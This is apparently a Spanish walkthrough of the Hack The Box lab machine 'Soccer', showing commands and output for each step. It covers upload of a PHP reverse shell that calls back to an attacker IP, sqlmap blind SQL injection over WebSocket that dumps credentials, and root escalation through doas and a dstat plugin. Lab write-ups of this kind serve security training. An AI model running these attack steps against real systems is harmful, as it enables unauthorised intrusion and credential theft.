Descripción
Soccer es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de directorios
- Uso de credenciales por defecto
- Ejecución remota de comandos
- Descubrimiento de VHOST
- Inyección SQL sobre WebSocket
- Exposición de datos sensibles
- Elevación de privilegios mediante DOAS.
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.194.
$ ping -c 3 10.10.11.194
PING 10.10.11.194 (10.10.11.194) 56(84) bytes of data.
64 bytes from 10.10.11.194: icmp_seq=1 ttl=63 time=44.3 ms
64 bytes from 10.10.11.194: icmp_seq=2 ttl=63 time=43.3 ms
64 bytes from 10.10.11.194: icmp_seq=3 ttl=63 time=43.7 ms
--- 10.10.11.194 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.340/43.755/44.276/0.389 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.194 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.194
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 66.19 seconds
Obtenemos tres puertos abiertos, 22, 80 y 9091.
Enumeration (1)
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.194 -sV -sC -p22,80,9091 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.194
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.46 seconds
Obtenemos tres servicios: un Secure Shell (SSH) y dos Hypertext Transfer Protocol (HTTP) ejecutándose en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://soccer.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.
$ echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts
Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.
$ whatweb --log-brief web_techs http://soccer.htb
http://soccer.htb [200 OK] Bootstrap[4.1.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.194], JQuery[3.2.1,3.6.0], Script, Title[Soccer - Index], X-UA-Compatible[IE=edge], nginx[1.18.0]
Observamos que el sitio web está alojado usando el servidor web nginx 1.18.0. Si vamos al navegador web obtenemos una página de plantilla simple sobre un club de fútbol sin ninguna funcionalidad.
Como no conseguimos contenido útil, vamos a hacer enumeración de directorios con la herramienta Gobuster para descubrir más directorios.
$ gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 87584 / 87665 (99.91%)
===============================================================
Finished
===============================================================
Descubrimos el subdirectorio /tiny que corresponde a la aplicación web TinyFileManager.
Mirando la documentación de la aplicación podemos observar que la contraseña predeterminada para el usuario admin es admin@123 y para el usuario user es 12345. Después de introducir las credenciales de admin entramos en la aplicación que enumera los contenidos del directorio web raíz.

Explotación (1)
La versión de la aplicación (2.4.3) es vulnerable a una vulnerabilidad de carga de archivos insegura CVE-2022-45476. Si entramos en el directorio tiny/uploads podemos ver que tenemos permisos para subir archivos, por ejemplo, archivos PHP. Así podemos copiar una terminal inversa de PHP desde nuestro sistema Kali Linux, modificarla y transferirla.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
Las líneas a modificar en el archivo de la terminal inversa son estas:
Lineas a modificar:
$ip = '10.10.14.154'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Después de subir el archivo haciendo clic en el botón Upload podemos ver que el archivo fue subido con éxito.
Abrimos el puerto de escucha.
$ nc -nvlp 1234
Y luego ejecutar el archivo PHP, por ejemplo, usando la herramienta curl.
curl http://soccer.htb/tiny/uploads/php-reverse-shell.php
Y finalmente obtenemos la terminal como el usuario de www-data, así que la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.194] 42038
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
03:05:23 up 6:28, 0 users, load average: 0.05, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
script /dev/null -c bash
www-data@soccer:/$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
www-data@soccer:/$ stty rows 48 columns 156
www-data@soccer:/$ export TERM=xterm
www-data@soccer:/$ export SHELL=bash
Post-Explotación (1)
Como usuarios de consola encontramos root y player.
www-data@soccer:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
player:x:1001:1001::/home/player:/bin/bash
Como la página web está alojada en un servidor web nginx, pueden existir Hosts Virtuales, que pueden revelar subdominios. La configuración Virtual Hosts se encuentra en el directorio /etc/nginx/sites-enabled.
www-data@soccer:/$ ls -l /etc/nginx/sites-enabled
total 0
lrwxrwxrwx 1 root root 34 Nov 17 08:06 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 08:39 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
Podemos encontrar un subdominio, soc-player, así que vamos a ver el nombre del servidor.
www-data@soccer:/$ cat /etc/nginx/sites-enabled/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
El nombre del servidor es soc-player.soccer.htb, así que lo agregamos a nuestro archivo /etc/hosts.
$ echo "10.10.11.194 soc-player.soccer.htb" | sudo tee -a /etc/hosts
Enumeración (2)
Con el escaneo al sitio web con la herramienta WhatWeb se revela que la aplicación se ejecuta sobre un servidor NodeJS Express, por lo que nos movemos al navegador web.
$ whatweb --log-brief web_techs_soc http://soc-player.soccer.htb
http://soc-player.soccer.htb/ [200 OK] Bootstrap, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.194], JQuery, Script, Title[Soccer], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
Ahora tenemos una página en la que podemos crear cuentas de usuario y iniciar sesión.
Así que creamos una cuenta.
Y luego entramos.
Ahora tenemos acceso a un panel web en el que podemos introducir un ID del ticket para comprobar si es válido.
Si interceptamos la solicitud con Burp Suite vemos que la comunicación entre el cliente y el servidor se hace usando el protocolo WebSocket. Si el ticket existe recibimos el mensaje “Ticket Exists” y si no existe recibimos el mensaje “Ticket Doesn’t Exists”.

Explotación (2)
Podemos comprobar con la herramienta SQLMap si la aplicación es vulnerable a una vulnerabilidad de inyección SQL.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}'
...
sqlmap identified the following injection point(s) with a total of 240 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"id": "53830 AND 4971=4971"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id": "53830 AND (SELECT 5142 FROM (SELECT(SLEEP(5)))ewjS)"}
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
Se detecta una inyección SQL ciega basada en booleanos utilizando el parámetro id. El administrador de bases de datos es MySQL. Como es una inyección ciega, tomará más tiempo volcar el contenido de la base de datos ya que requiere el envío de muchas solicitudes. Obtenemos las bases de datos existentes.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' --dbs
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
[INFO] fetching number of databases
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
Aparte de las bases de datos comunes de MySQL encontramos la base de datos soccer_db, así que volcamos sus tablas.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' -D soccer_db --tables
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching tables for database: 'soccer_db'
[INFO] fetching number of tables for database 'soccer_db'
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
Sólo obtenemos una tabla para la base de datos de soccer_db, accounts. Finalmente obtenemos todos los datos de la tabla de accounts.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' -D soccer_db -T accounts --dump
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching columns for table 'accounts' in database 'soccer_db'
[INFO] fetching entries for table 'accounts' in database 'soccer_db'
[INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
Como vemos, obtuvimos la contraseña para el usuario player, PlayerOftheMatch2022. Como tenemos un usuario player en la máquina, vamos a intentar conectarnos por SSH.
$ ssh player@10.10.11.194
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
Obtenemos una terminal como el usuario player.
Post-Explotación (2)
En busca de formas de hacer la escalada de privilegios, vemos que el binario DOAS está disponible. DOAS es una alternativa a SUDO para sistemas OpenBSD.
player@soccer:~$ ls -l /usr/local/bin/doas
-rwsr-xr-x 1 root root 42224 Nov 17 09:09 /usr/local/bin/doas
Podemos ver su archivo de configuración para comprobar todos los binarios permitidos para ser ejecutados como superadministrador.
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
El binario /usr/bin/dstat se puede ejecutar como root. En la web de GTFOBins podemos ver que podemos obtener una terminal usando el binario dstat creando un script de Python, y luego especificando el nombre del script en el parámetro de dstat.
player@soccer:~$ echo 'import os; os.execv("/bin/bash", ["bash"])' > /usr/local/share/dstat/dstat_esc.py
player@soccer:~$ doas /usr/bin/dstat --esc
Finalmente obtenemos una terminal como el usuario root.
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
$ doas /usr/bin/dstat --esc
root@soccer:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/tmp# cat /home/player/user.txt
<REDACTED>
root@soccer:/tmp# cat /root/root.txt
<REDACTED>